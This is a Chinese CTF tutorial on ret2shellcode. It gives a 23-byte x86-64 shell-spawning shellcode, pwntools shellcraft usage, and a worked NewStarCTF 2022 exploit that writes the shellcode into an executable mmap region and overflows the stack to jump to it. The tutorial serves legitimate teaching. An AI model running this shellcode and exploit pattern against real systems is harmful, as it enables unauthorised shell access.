Ret2shellcode

文章发布时间:

最后更新时间:

文章总字数:
751

预计阅读时间:
3 分钟

这次我们再来介绍一个栈的经典题型

在我们先前遇到的题目中,都有着出题人为我们提供的后门函数,如果没有后门函数,我们又该如何自己构建shellcode呢?

带着这个疑问,我们开始今天的学习

如何写入system(/bin/sh)?

由于题目通常都会开启NX保护,所以我们要想在栈中写入字符串是不现实的打算

我们好好想想,在内存块的五个分区中,还有哪个区块是可以为我们自由编辑的,这里我们想到了用来存储未初始化的全局变量区bss段

那么如何写入呢?

我们先前已经知道了,计算机读不懂高级语言,即system(/bin/sh)

先前我们已经通过构造rop的方式用汇编语言指引执行流

这次我们尝试用机器码来将shellcode注入到内存中

常用的shellcode:”\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”

这个shellcode只有23个字节,当题目的输入字长给的不够多的时候可以使用这个

当然还有第二种构造机器码的方式

shellcode = asm(shellcraft.sh())

但是你很快就会发现,为什么自己在32位情况下可以使用,但是64位下就不行

我们还需要在后面加上amd64才能使其输出64位的机器码

当然我们也可以通过**context.arch = “amd64”**来使环境转化为64位,于是我们在接下来即使不用amd64也能输出64位机器码

例题解析

这里以NewStarCTF 2022新生赛公开赛 的ret2shellcode作为例题讲解

a

老规矩看一下保护机制,NX开了,看来不能在栈上写入

ida看一下具体情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[40]; // [rsp+0h] [rbp-30h] BYREF
void *buf; // [rsp+28h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x233000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Hello my friend.Any gift for me?");
read(0, buf, 0x100uLL);
puts("Anything else?");
read(0, v4, 0x100uLL);
puts("Ok.See you!");
return 0;
}

出现了个mmap函数,用来干什么的?

可以简单理解为 开辟一块空间存放我们输入的值 其地址为第一个参数addr(0x233000)

那么我们的目的就是将shellcode写入这块空间,然后在接下来的栈溢出中控制程序执行流到shellcode

1
2
3
4
5
6
7
8
9
10
from pwn import*
io = remote("node4.buuoj.cn",25533)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.recvuntil("Hello my friend.Any gift for me?")
io.sendline(shellcode)
io.recvuntil("Anything else?")
payload = cyclic(56)+p64(0x233000)
io.sendline(payload)
io.recv()
io.interactive()

其实本质上还是栈溢出控制程序执行流到后门函数,只不过这个后门函数是我们自己存入到程序中的,还是挺好理解的